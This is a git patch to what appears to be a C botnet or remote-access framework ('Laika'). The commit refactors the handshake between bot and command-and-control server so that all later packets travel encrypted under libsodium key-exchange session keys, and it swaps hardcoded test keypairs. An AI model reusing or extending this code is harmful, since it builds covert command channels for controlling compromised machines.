From dd173ee422af469df2837e087b2cce2daab9b42c Mon Sep 17 00:00:00 2001 From: CPunch Date: Thu, 3 Feb 2022 16:25:49 -0600 Subject: [PATCH] Key exchange refactoring! - LAIKAPKT_HANDSHAKE_REQ now only sends the bot's pub key a shared key is generated using the other peer's pub key, allowing for fully encrypted packet bodies, (packet ID is left in plain-text) - laikaS_startOutPacket(), laikaS_endOutPacket(), laikaS_startInPacket() & laikaS_endInPacket() have been added. - laikaS_setSecure() has been added to turn on/off encrypted packets. - genKey now generates kx keypairs - major refactoring for relevant packet handlers - variadic packets have been temporarily disabled --- bot/include/bot.h | 2 +- bot/src/bot.c | 28 +++++--------- cnc/include/cnc.h | 2 +- cnc/src/cnc.c | 24 ++++++------ lib/CMakeLists.txt | 4 +- lib/include/lconfig.h | 5 +-- lib/include/lpacket.h | 22 +++++++---- lib/include/lpeer.h | 6 +-- lib/include/lsocket.h | 15 +++++++- lib/src/lpeer.c | 43 +++++++++++---------- lib/src/lsocket.c | 83 +++++++++++++++++++++++++++++++++++++++-- tools/genkey/src/main.c | 25 ++----------- 12 files changed, 162 insertions(+), 97 deletions(-) diff --git a/bot/include/bot.h b/bot/include/bot.h index 2637d9a..f34481e 100644 --- a/bot/include/bot.h +++ b/bot/include/bot.h @@ -9,7 +9,7 @@ #include "lrsa.h" struct sLaika_bot { - uint8_t priv[crypto_box_SECRETKEYBYTES], pub[crypto_box_PUBLICKEYBYTES], nonce[LAIKA_NONCESIZE]; + uint8_t priv[crypto_kx_SECRETKEYBYTES], pub[crypto_kx_PUBLICKEYBYTES]; struct sLaika_pollList pList; struct sLaika_peer *peer; }; diff --git a/bot/src/bot.c b/bot/src/bot.c index a62a9c5..905b069 100644 --- a/bot/src/bot.c +++ b/bot/src/bot.c @@ -4,23 +4,15 @@ #include "bot.h" LAIKAPKT_SIZE laikaB_pktSizeTbl[LAIKAPKT_MAXNONE] = { - [LAIKAPKT_HANDSHAKE_RES] = sizeof(uint8_t) + LAIKAENC_SIZE(LAIKA_NONCESIZE) + [LAIKAPKT_HANDSHAKE_RES] = sizeof(uint8_t) }; void handleHandshakeResponse(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) { - uint8_t nonce[LAIKA_NONCESIZE]; struct sLaika_bot *bot = (struct sLaika_bot*)uData; uint8_t endianness = laikaS_readByte(&peer->sock); - /* read & decrypt nonce */ - laikaS_readENC(&peer->sock, nonce, LAIKA_NONCESIZE, bot->pub, bot->priv); - - /* check nonce */ - if (memcmp(nonce, bot->nonce, LAIKA_NONCESIZE) != 0) - LAIKA_ERROR("mismatched nonce!\n"); - peer->sock.flipEndian = endianness != laikaS_isBigEndian(); - LAIKA_DEBUG("handshake accepted by cnc!\n") + LAIKA_DEBUG("handshake accepted by cnc! got endian flag : %s\n", (endianness ? "TRUE" : "FALSE")) } PeerPktHandler laikaB_handlerTbl[LAIKAPKT_MAXNONE] = { @@ -38,7 +30,6 @@ struct sLaika_bot *laikaB_newBot(void) { &bot->pList, (void*)bot ); - laikaS_setKeys(bot->peer, bot->priv, bot->pub); /* generate keypair */ if (sodium_init() < 0) { @@ -46,19 +37,17 @@ struct sLaika_bot *laikaB_newBot(void) { LAIKA_ERROR("LibSodium failed to initialize!\n"); } - if (crypto_box_keypair(bot->pub, bot->priv) != 0) { + if (crypto_kx_keypair(bot->pub, bot->priv) != 0) { laikaB_freeBot(bot); LAIKA_ERROR("Failed to gen keypair!\n"); } /* read cnc's public key into peerPub */ - if (sodium_hex2bin(bot->peer->peerPub, crypto_box_PUBLICKEYBYTES, LAIKA_PUBKEY, strlen(LAIKA_PUBKEY), NULL, &_unused, NULL) != 0) { + if (sodium_hex2bin(bot->peer->peerPub, crypto_kx_PUBLICKEYBYTES, LAIKA_PUBKEY, strlen(LAIKA_PUBKEY), NULL, &_unused, NULL) != 0) { laikaB_freeBot(bot); LAIKA_ERROR("Failed to init cnc public key!\n"); } - /* gen nonce test */ - randombytes_buf(bot->nonce, LAIKA_NONCESIZE); return bot; } @@ -78,13 +67,16 @@ void laikaB_connectToCNC(struct sLaika_bot *bot, char *ip, char *port) { laikaP_addSock(&bot->pList, sock); /* queue handshake request */ - laikaS_writeByte(sock, LAIKAPKT_HANDSHAKE_REQ); + laikaS_startOutPacket(sock, LAIKAPKT_HANDSHAKE_REQ); laikaS_write(sock, LAIKA_MAGIC, LAIKA_MAGICLEN); laikaS_writeByte(sock, LAIKA_VERSION_MAJOR); laikaS_writeByte(sock, LAIKA_VERSION_MINOR); - laikaS_writeByte(sock, PEER_BOT); - laikaS_writeENC(sock, bot->nonce, LAIKA_NONCESIZE, bot->peer->peerPub); /* write encrypted nonce test */ laikaS_write(sock, bot->pub, sizeof(bot->pub)); /* write public key */ + laikaS_endOutPacket(sock); /* force packet body to be plaintext */ + laikaS_setSecure(sock, true); /* after the cnc receives our handshake, our packets will be encrypted */ + + if (crypto_kx_client_session_keys(bot->peer->sock.inKey, bot->peer->sock.outKey, bot->pub, bot->priv, bot->peer->peerPub) != 0) + LAIKA_ERROR("failed to gen session key!\n") if (!laikaS_handlePeerOut(bot->peer)) LAIKA_ERROR("failed to send handshake request!\n") diff --git a/cnc/include/cnc.h b/cnc/include/cnc.h index ff71f86..b0c5ad6 100644 --- a/cnc/include/cnc.h +++ b/cnc/include/cnc.h @@ -8,7 +8,7 @@ #include "lpeer.h" struct sLaika_cnc { - uint8_t priv[crypto_box_SECRETKEYBYTES], pub[crypto_box_PUBLICKEYBYTES]; + uint8_t priv[crypto_kx_SECRETKEYBYTES], pub[crypto_kx_PUBLICKEYBYTES]; struct sLaika_socket sock; struct sLaika_pollList pList; }; diff --git a/cnc/src/cnc.c b/cnc/src/cnc.c index ad1e8f9..3a373e9 100644 --- a/cnc/src/cnc.c +++ b/cnc/src/cnc.c @@ -6,35 +6,38 @@ #include "cnc.h" LAIKAPKT_SIZE laikaC_pktSizeTbl[LAIKAPKT_MAXNONE] = { - [LAIKAPKT_HANDSHAKE_REQ] = LAIKA_MAGICLEN + sizeof(uint8_t) + sizeof(uint8_t) + sizeof(uint8_t) + LAIKAENC_SIZE(LAIKA_NONCESIZE) + crypto_box_PUBLICKEYBYTES + [LAIKAPKT_HANDSHAKE_REQ] = LAIKA_MAGICLEN + sizeof(uint8_t) + sizeof(uint8_t) + crypto_kx_PUBLICKEYBYTES }; void handleHandshakeRequest(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) { char magicBuf[LAIKA_MAGICLEN]; - uint8_t nonce[LAIKA_NONCESIZE]; struct sLaika_cnc *cnc = (struct sLaika_cnc*)uData; uint8_t major, minor; laikaS_read(&peer->sock, (void*)magicBuf, LAIKA_MAGICLEN); major = laikaS_readByte(&peer->sock); minor = laikaS_readByte(&peer->sock); - peer->type = laikaS_readByte(&peer->sock); + peer->type = PEER_BOT; if (memcmp(magicBuf, LAIKA_MAGIC, LAIKA_MAGICLEN) != 0 || major != LAIKA_VERSION_MAJOR || minor != LAIKA_VERSION_MINOR) LAIKA_ERROR("invalid handshake request!\n"); - /* read & decrypt nonce */ - laikaS_readENC(&peer->sock, nonce, LAIKA_NONCESIZE, cnc->pub, cnc->priv); - /* read peer's public key */ laikaS_read(&peer->sock, peer->peerPub, sizeof(peer->peerPub)); + /* gen session keys */ + if (crypto_kx_server_session_keys(peer->sock.inKey, peer->sock.outKey, cnc->pub, cnc->priv, peer->peerPub) != 0) + LAIKA_ERROR("failed to gen session key!\n") + + /* encrypt all future packets */ + laikaS_setSecure(&peer->sock, true); + /* queue response */ - laikaS_writeByte(&peer->sock, LAIKAPKT_HANDSHAKE_RES); + laikaS_startOutPacket(&peer->sock, LAIKAPKT_HANDSHAKE_RES); laikaS_writeByte(&peer->sock, laikaS_isBigEndian()); - laikaS_writeENC(&peer->sock, nonce, LAIKA_NONCESIZE, peer->peerPub); /* encrypt nonce with peer's public key */ + laikaS_endOutPacket(&peer->sock); LAIKA_DEBUG("accepted handshake from peer %lx\n", peer); } @@ -64,12 +67,12 @@ struct sLaika_cnc *laikaC_newCNC(uint16_t port) { /* load keys */ LAIKA_DEBUG("using pubkey: %s\n", LAIKA_PUBKEY); - if (sodium_hex2bin(cnc->pub, crypto_box_PUBLICKEYBYTES, LAIKA_PUBKEY, strlen(LAIKA_PUBKEY), NULL, &_unused, NULL) != 0) { + if (sodium_hex2bin(cnc->pub, crypto_kx_PUBLICKEYBYTES, LAIKA_PUBKEY, strlen(LAIKA_PUBKEY), NULL, &_unused, NULL) != 0) { laikaC_freeCNC(cnc); LAIKA_ERROR("Failed to init cnc public key!\n"); } - if (sodium_hex2bin(cnc->priv, crypto_box_SECRETKEYBYTES, LAIKA_PRIVKEY, strlen(LAIKA_PRIVKEY), NULL, &_unused, NULL) != 0) { + if (sodium_hex2bin(cnc->priv, crypto_kx_SECRETKEYBYTES, LAIKA_PRIVKEY, strlen(LAIKA_PRIVKEY), NULL, &_unused, NULL) != 0) { laikaC_freeCNC(cnc); LAIKA_ERROR("Failed to init cnc private key!\n"); } @@ -110,7 +113,6 @@ bool laikaC_pollPeers(struct sLaika_cnc *cnc, int timeout) { &cnc->pList, (void*)cnc ); - laikaS_setKeys(peer, cnc->priv, cnc->pub); /* setup and accept new peer */ laikaS_acceptFrom(&peer->sock, &cnc->sock); diff --git a/lib/CMakeLists.txt b/lib/CMakeLists.txt index 8bcc304..52b9f79 100644 --- a/lib/CMakeLists.txt +++ b/lib/CMakeLists.txt @@ -4,11 +4,11 @@ set(LIB_INCLUDEDIR ${CMAKE_CURRENT_SOURCE_DIR}/include) # DO NOT USE THESE KEYS, TESTING ONLY if(NOT LAIKA_PUBKEY) - set(LAIKA_PUBKEY "997d026d1c65deb6c30468525132be4ea44116d6f194c142347b67ee73d18814") + set(LAIKA_PUBKEY "40d5534aca77d1f5ec2bbe79dd9d0f52a78148918f95814404cefe97c34c5c27") endif () if(NOT LAIKA_PRIVKEY) -set(LAIKA_PRIVKEY "1dbd33962f1e170d1e745c6d3e19175049b5616822fac2fa3535d7477957a841") +set(LAIKA_PRIVKEY "90305aa77023d1c1e03265c3b6af046eb58d6ec8ba650b0dffed01379feab8cc") endif () # version details diff --git a/lib/include/lconfig.h b/lib/include/lconfig.h index 78f833d..94743bc 100644 --- a/lib/include/lconfig.h +++ b/lib/include/lconfig.h @@ -6,8 +6,7 @@ #define LAIKA_VERSION_MINOR 0 /* keys */ -#define LAIKA_PUBKEY "997d026d1c65deb6c30468525132be4ea44116d6f194c142347b67ee73d18814" -#define LAIKA_PRIVKEY "1dbd33962f1e170d1e745c6d3e19175049b5616822fac2fa3535d7477957a841" - +#define LAIKA_PUBKEY "40d5534aca77d1f5ec2bbe79dd9d0f52a78148918f95814404cefe97c34c5c27" +#define LAIKA_PRIVKEY "90305aa77023d1c1e03265c3b6af046eb58d6ec8ba650b0dffed01379feab8cc" #endif diff --git a/lib/include/lpacket.h b/lib/include/lpacket.h index 7a469e3..b809eb1 100644 --- a/lib/include/lpacket.h +++ b/lib/include/lpacket.h @@ -6,7 +6,14 @@ #define LAIKA_MAX_PKTSIZE 4096 -#define LAIKA_NONCESIZE 16 +/* NONCE: randomly generated uint8_t[LAIKA_NONCESIZE] */ + +/* first handshake between peer & cnc works as so: + - peer connects to cnc and sends a LAIKAPKT_HANDSHAKE_REQ with the peer's pubkey + - after cnc receives LAIKAPKT_HANDSHAKE_REQ, all packets are encrypted + - cnc responds with LAIKAPKT_HANDSHAKE_RES + - if peer is an authenticated client (panel), LAIKAPKT_AUTHENTICATED_HANDSHAKE_REQ is then sent +*/ enum { LAIKAPKT_HANDSHAKE_REQ, @@ -14,22 +21,21 @@ enum { * uint8_t laikaMagic[LAIKA_MAGICLEN]; * uint8_t majorVer; * uint8_t minorVer; - * uint8_t peerType; - * uint8_t encNonce[LAIKAENC_SIZE(LAIKA_NONCESIZE)]; -- encrypted using shared pubKey - * uint8_t pubKey[crypto_box_PUBLICKEYBYTES]; -- freshly generated pubKey to encrypt decrypted nonce with + * uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- freshly generated pubKey to encrypt decrypted nonce with */ LAIKAPKT_HANDSHAKE_RES, /* layout of LAIKAPKT_HANDSHAKE_RES: * uint8_t endian; - * uint8_t reEncryptedNonce[LAIKAENC_SIZE(LAIKA_NONCESIZE)]; -- encrypted using received pubKey from LAIKAPKT_AUTH_REQ pkt */ - LAIKAPKT_VARPKT_REQ, + //LAIKAPKT_AUTHENTICATED_HANDSHAKE_REQ, + /* layout of LAIKAPKT_STAGE2_HANDSHAKE_REQ + * uint8_t peerType; + */ + //LAIKAPKT_VARPKT_REQ, /* layout of LAIKAPKT_VARPKT_REQ: * uint8_t pktID; * uint16_t pktSize; */ - LAIKAPKT_CHALLENGE_REQ, - LAIKAPKT_CHALLENGE_RES, LAIKAPKT_MAXNONE }; diff --git a/lib/include/lpeer.h b/lib/include/lpeer.h index fe4613a..2da7808 100644 --- a/lib/include/lpeer.h +++ b/lib/include/lpeer.h @@ -19,12 +19,10 @@ typedef void (*PeerPktHandler)(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void struct sLaika_peer { struct sLaika_socket sock; /* DO NOT MOVE THIS. this member HAS TO BE FIRST so that typecasting sLaika_peer* to sLaika_sock* works as intended */ - uint8_t peerPub[crypto_box_PUBLICKEYBYTES]; /* key to encrypt outgoing packets */ + uint8_t peerPub[crypto_kx_PUBLICKEYBYTES]; /* connected peer's public key */ struct sLaika_pollList *pList; /* pollList we're active in */ PeerPktHandler *handlers; LAIKAPKT_SIZE *pktSizeTable; /* const table to pull pkt size data from */ - uint8_t *priv; /* key to decrypt incoming packets */ - uint8_t *pub; /* pub key matching to priv */ void *uData; /* data to be passed to pktHandler */ LAIKAPKT_SIZE pktSize; /* current pkt size */ LAIKAPKT_ID pktID; /* current pkt ID */ @@ -35,8 +33,6 @@ struct sLaika_peer { struct sLaika_peer *laikaS_newPeer(PeerPktHandler *handlers, LAIKAPKT_SIZE *pktSizeTable, struct sLaika_pollList *pList, void *uData); void laikaS_freePeer(struct sLaika_peer *peer); -void laikaS_setKeys(struct sLaika_peer *peer, uint8_t *priv, uint8_t *pub); - bool laikaS_handlePeerIn(struct sLaika_peer *peer); bool laikaS_handlePeerOut(struct sLaika_peer *peer); diff --git a/lib/include/lsocket.h b/lib/include/lsocket.h index 6e6f448..d1eff37 100644 --- a/lib/include/lsocket.h +++ b/lib/include/lsocket.h @@ -51,6 +51,8 @@ #endif #include +#include "lrsa.h" + typedef enum { RAWSOCK_OK, RAWSOCK_ERROR, @@ -61,12 +63,16 @@ typedef enum { struct sLaika_socket { uint8_t *outBuf; /* raw data to be sent() */ uint8_t *inBuf; /* raw data we recv()'d */ + uint8_t inKey[crypto_kx_SESSIONKEYBYTES], outKey[crypto_kx_SESSIONKEYBYTES]; SOCKET sock; /* raw socket fd */ int outCount; int inCount; int outCap; int inCap; + int outStart; /* index of pktID for out packet */ + int inStart; /* index of pktID for in packet */ bool flipEndian; + bool useSecure; /* if true, sock will transmit/receive encrypted data using inKey & outKey */ }; #define laikaS_isAlive(arg) (arg->sock != INVALID_SOCKET) @@ -84,10 +90,15 @@ void laikaS_bind(struct sLaika_socket *sock, uint16_t port); /* bind sock to por void laikaS_acceptFrom(struct sLaika_socket *sock, struct sLaika_socket *from); bool laikaS_setNonBlock(struct sLaika_socket *sock); +void laikaS_startOutPacket(struct sLaika_socket *sock, uint8_t id); +int laikaS_endOutPacket(struct sLaika_socket *sock); +void laikaS_startInPacket(struct sLaika_socket *sock); +int laikaS_endInPacket(struct sLaika_socket *sock); +void laikaS_setSecure(struct sLaika_socket *sock, bool flag); void laikaS_read(struct sLaika_socket *sock, void *buf, size_t sz); /* reads from inBuf */ void laikaS_write(struct sLaika_socket *sock, void *buf, size_t sz); /* writes to outBuf */ -void laikaS_writeENC(struct sLaika_socket *sock, void *buf, size_t sz, uint8_t *pub); /* encrypts & writes from buf */ -void laikaS_readENC(struct sLaika_socket *sock, void *buf, size_t sz, uint8_t *pub, uint8_t *priv); /* decrypts & reads to buf */ +void laikaS_writeKeyEncrypt(struct sLaika_socket *sock, void *buf, size_t sz, uint8_t *pub); /* encrypts & writes from buf using pub key */ +void laikaS_readKeyDecrypt(struct sLaika_socket *sock, void *buf, size_t sz, uint8_t *pub, uint8_t *priv); /* decrypts & reads to buf using pub & priv key*/ void laikaS_writeByte(struct sLaika_socket *sock, uint8_t data); uint8_t laikaS_readByte(struct sLaika_socket *sock); void laikaS_readInt(struct sLaika_socket *sock, void *buf, size_t sz); /* reads INT, respecting endianness */ diff --git a/lib/src/lpeer.c b/lib/src/lpeer.c index 4b8962c..5115348 100644 --- a/lib/src/lpeer.c +++ b/lib/src/lpeer.c @@ -10,8 +10,6 @@ struct sLaika_peer *laikaS_newPeer(PeerPktHandler *handlers, LAIKAPKT_SIZE *pktS peer->pktSizeTable = pktSizeTable; peer->pList = pList; peer->uData = uData; - peer->priv = NULL; - peer->pub = NULL; peer->pktSize = 0; peer->type = PEER_UNVERIFIED; peer->pktID = LAIKAPKT_MAXNONE; @@ -19,11 +17,6 @@ struct sLaika_peer *laikaS_newPeer(PeerPktHandler *handlers, LAIKAPKT_SIZE *pktS return peer; } -void laikaS_setKeys(struct sLaika_peer *peer, uint8_t *priv, uint8_t *pub) { - peer->priv = priv; - peer->pub = pub; -} - void laikaS_freePeer(struct sLaika_peer *peer) { laikaS_cleanSocket(&peer->sock); laikaM_free(peer); @@ -40,6 +33,7 @@ bool laikaS_handlePeerIn(struct sLaika_peer *peer) { return false; peer->pktID = laikaS_readByte(&peer->sock); + laikaS_startInPacket(&peer->sock); /* sanity check packet ID */ if (peer->pktID >= LAIKAPKT_MAXNONE) @@ -50,28 +44,32 @@ bool laikaS_handlePeerIn(struct sLaika_peer *peer) { if (peer->pktSize == 0) LAIKA_ERROR("unsupported packet!\n") - break; - case LAIKAPKT_VARPKT_REQ: - /* try grabbing pktID & size */ - if (laikaS_rawRecv(&peer->sock, sizeof(uint8_t) + sizeof(LAIKAPKT_SIZE), &recvd) != RAWSOCK_OK) - return false; + /* if we're encrypting/decrypting all packets, make sure to make the packetsize reflect this */ + if (peer->sock.useSecure) + peer->pktSize += crypto_secretbox_MACBYTES + crypto_secretbox_NONCEBYTES; - if (recvd != sizeof(uint8_t) + sizeof(LAIKAPKT_SIZE)) - LAIKA_ERROR("couldn't read whole LAIKAPKT_VARPKT_REQ") + break; + //case LAIKAPKT_VARPKT_REQ: + /* try grabbing pktID & size */ + // if (laikaS_rawRecv(&peer->sock, sizeof(uint8_t) + sizeof(LAIKAPKT_SIZE), &recvd) != RAWSOCK_OK) + // return false; + + // if (recvd != sizeof(uint8_t) + sizeof(LAIKAPKT_SIZE)) + // LAIKA_ERROR("couldn't read whole LAIKAPKT_VARPKT_REQ") /* read pktID */ - peer->pktID = laikaS_readByte(&peer->sock); + // peer->pktID = laikaS_readByte(&peer->sock); /* sanity check pktID, (check valid range, check it's variadic) */ - if (peer->pktID >= LAIKAPKT_MAXNONE || peer->pktSizeTable[peer->pktID]) - LAIKA_ERROR("received evil pktID!\n") + // if (peer->pktID >= LAIKAPKT_MAXNONE || peer->pktSizeTable[peer->pktID]) + // LAIKA_ERROR("received evil pktID!\n") /* try reading new packet size */ - laikaS_readInt(&peer->sock, (void*)&peer->pktSize, sizeof(LAIKAPKT_SIZE)); + // laikaS_readInt(&peer->sock, (void*)&peer->pktSize, sizeof(LAIKAPKT_SIZE)); - if (peer->pktSize > LAIKA_MAX_PKTSIZE) - LAIKA_ERROR("variable packet too large!") - break; + // if (peer->pktSize > LAIKA_MAX_PKTSIZE) + // LAIKA_ERROR("variable packet too large!") + // break; default: /* try grabbing the rest of the packet */ if (laikaS_rawRecv(&peer->sock, peer->pktSize - peer->sock.inCount, &recvd) != RAWSOCK_OK) @@ -80,9 +78,10 @@ bool laikaS_handlePeerIn(struct sLaika_peer *peer) { /* have we received the full packet? */ if (peer->pktSize == peer->sock.inCount) { PeerPktHandler hndlr = peer->handlers[peer->pktID]; + peer->pktSize = laikaS_endInPacket(&peer->sock); if (hndlr != NULL) { - hndlr(peer, peer->pktID, peer->uData); /* dispatch to packet handler */ + hndlr(peer, peer->pktSize, peer->uData); /* dispatch to packet handler */ } else LAIKA_ERROR("peer %x doesn't support packet id [%d]!\n", peer, peer->pktID); diff --git a/lib/src/lsocket.c b/lib/src/lsocket.c index 40cc55d..e709653 100644 --- a/lib/src/lsocket.c +++ b/lib/src/lsocket.c @@ -5,6 +5,7 @@ #include "lpolllist.h" #include "lrsa.h" #include "lsocket.h" +#include "lpacket.h" static int _LNSetup = 0; @@ -46,7 +47,10 @@ void laikaS_initSocket(struct sLaika_socket *sock) { sock->outBuf = NULL; sock->outCap = ARRAY_START; sock->outCount = 0; + sock->inStart = -1; + sock->outStart = -1; sock->flipEndian = false; + sock->useSecure = false; laikaS_init(); } @@ -171,6 +175,79 @@ bool laikaS_setNonBlock(struct sLaika_socket *sock) { return true; } +void laikaS_startOutPacket(struct sLaika_socket *sock, uint8_t id) { + if (sock->outStart != -1) { /* sanity check */ + LAIKA_ERROR("unended OUT packet!\n") + } + laikaS_writeByte(sock, id); + + sock->outStart = sock->outCount; + if (sock->useSecure) { /* if we're encrypting this packet, append the nonce right after the packet ID */ + uint8_t nonce[crypto_secretbox_NONCEBYTES]; + randombytes_buf(nonce, crypto_secretbox_NONCEBYTES); + laikaS_write(sock, nonce, crypto_secretbox_NONCEBYTES); + } +} + +int laikaS_endOutPacket(struct sLaika_socket *sock) { + uint8_t *body; + size_t sz; + + if (sock->useSecure) { + /* make sure we have enough space */ + laikaM_growarray(uint8_t, sock->outBuf, crypto_secretbox_MACBYTES, sock->outCount, sock->outCap); + + /* packet body starts after the id & nonce */ + body = &sock->outBuf[sock->outStart + crypto_secretbox_NONCEBYTES]; + /* encrypt packet body in-place */ + if (crypto_secretbox_easy(body, body, (sock->outCount - sock->outStart) - crypto_secretbox_NONCEBYTES, + &sock->outBuf[sock->outStart], sock->outKey) != 0) { + LAIKA_ERROR("Failed to encrypt packet!\n") + } + + sock->outCount += crypto_secretbox_MACBYTES; + } + + sz = sock->outCount - sock->outStart; + sock->outStart = -1; + return sz; +} + +void laikaS_startInPacket(struct sLaika_socket *sock) { + if (sock->inStart != -1) { /* sanity check */ + LAIKA_ERROR("unended IN packet!\n") + } + + sock->inStart = sock->inCount; +} + +int laikaS_endInPacket(struct sLaika_socket *sock) { + uint8_t *body; + size_t sz = sock->inCount - sock->inStart; + + if (sock->useSecure) { + body = &sock->inBuf[sock->inStart + crypto_secretbox_NONCEBYTES]; + + /* decrypt packet body in-place */ + if (crypto_secretbox_open_easy(body, body, (sock->inCount - sock->inStart) - crypto_secretbox_NONCEBYTES, + &sock->inBuf[sock->inStart], sock->inKey) != 0) { + LAIKA_ERROR("Failed to decrypt packet!\n") + } + + /* remove nonce */ + laikaM_rmvarray(sock->inBuf, sock->inCount, sock->inStart, crypto_secretbox_NONCEBYTES); + + sz -= crypto_secretbox_MACBYTES + crypto_secretbox_NONCEBYTES; + } + + sock->inStart = -1; + return sz; +} + +void laikaS_setSecure(struct sLaika_socket *sock, bool flag) { + sock->useSecure = flag; +} + void laikaS_read(struct sLaika_socket *sock, void *buf, size_t sz) { memcpy(buf, sock->inBuf, sz); laikaM_rmvarray(sock->inBuf, sock->inCount, 0, sz); @@ -178,14 +255,14 @@ void laikaS_read(struct sLaika_socket *sock, void *buf, size_t sz) { void laikaS_write(struct sLaika_socket *sock, void *buf, size_t sz) { /* make sure we have enough space to copy the buffer */ - laikaM_growarray(uint8_t, sock->outBuf, sz, sock->outCount, sock->outCap);\ + laikaM_growarray(uint8_t, sock->outBuf, sz, sock->outCount, sock->outCap); /* copy the buffer, then increment outCount */ memcpy(&sock->outBuf[sock->outCount], buf, sz); sock->outCount += sz; } -void laikaS_writeENC(struct sLaika_socket *sock, void *buf, size_t sz, uint8_t *pub) { +void laikaS_writeKeyEncrypt(struct sLaika_socket *sock, void *buf, size_t sz, uint8_t *pub) { /* make sure we have enough space to encrypt the buffer */ laikaM_growarray(uint8_t, sock->outBuf, LAIKAENC_SIZE(sz), sock->outCount, sock->outCap); @@ -196,7 +273,7 @@ void laikaS_writeENC(struct sLaika_socket *sock, void *buf, size_t sz, uint8_t * sock->outCount += LAIKAENC_SIZE(sz); } -void laikaS_readENC(struct sLaika_socket *sock, void *buf, size_t sz, uint8_t *pub, uint8_t *priv) { +void laikaS_readKeyDecrypt(struct sLaika_socket *sock, void *buf, size_t sz, uint8_t *pub, uint8_t *priv) { /* decrypt into buf */ if (crypto_box_seal_open(buf, sock->inBuf, LAIKAENC_SIZE(sz), pub, priv) != 0) LAIKA_ERROR("Failed to decrypt!\n"); diff --git a/tools/genkey/src/main.c b/tools/genkey/src/main.c index 5823e6a..8cd2484 100644 --- a/tools/genkey/src/main.c +++ b/tools/genkey/src/main.c @@ -4,39 +4,22 @@ #include "lerror.h" #include "lrsa.h" -#define DATA "Encryption/Decryption test passed!\n" -#define DATALEN 36 -#define CIPHERLEN crypto_box_SEALBYTES + DATALEN - int main(int argv, char **argc) { - unsigned char priv[crypto_box_SECRETKEYBYTES], pub[crypto_box_PUBLICKEYBYTES]; + unsigned char priv[crypto_kx_SECRETKEYBYTES], pub[crypto_kx_PUBLICKEYBYTES]; char buf[256]; - unsigned char enc[CIPHERLEN]; - unsigned char dec[DATALEN]; if (sodium_init() < 0) { printf("Libsodium failed to init!\n"); return 1; } - crypto_box_keypair(pub, priv); + crypto_kx_keypair(pub, priv); printf("[~] Generated keypair!\n"); - sodium_bin2hex(buf, 256, pub, crypto_box_PUBLICKEYBYTES); + sodium_bin2hex(buf, 256, pub, crypto_kx_PUBLICKEYBYTES); printf("[~] public key: %s\n", buf); - sodium_bin2hex(buf, 256, priv, crypto_box_SECRETKEYBYTES); + sodium_bin2hex(buf, 256, priv, crypto_kx_SECRETKEYBYTES); printf("[~] private key: %s\n\n", buf); - if (crypto_box_seal(enc, DATA, DATALEN, pub) != 0) { - printf("Failed to encrypt!\n"); - return 1; - } - - if (crypto_box_seal_open(dec, enc, CIPHERLEN, pub, priv) != 0) { - printf("Failed to decrypt!\n"); - return 1; - } - - printf("%s", dec); return 0; } \ No newline at end of file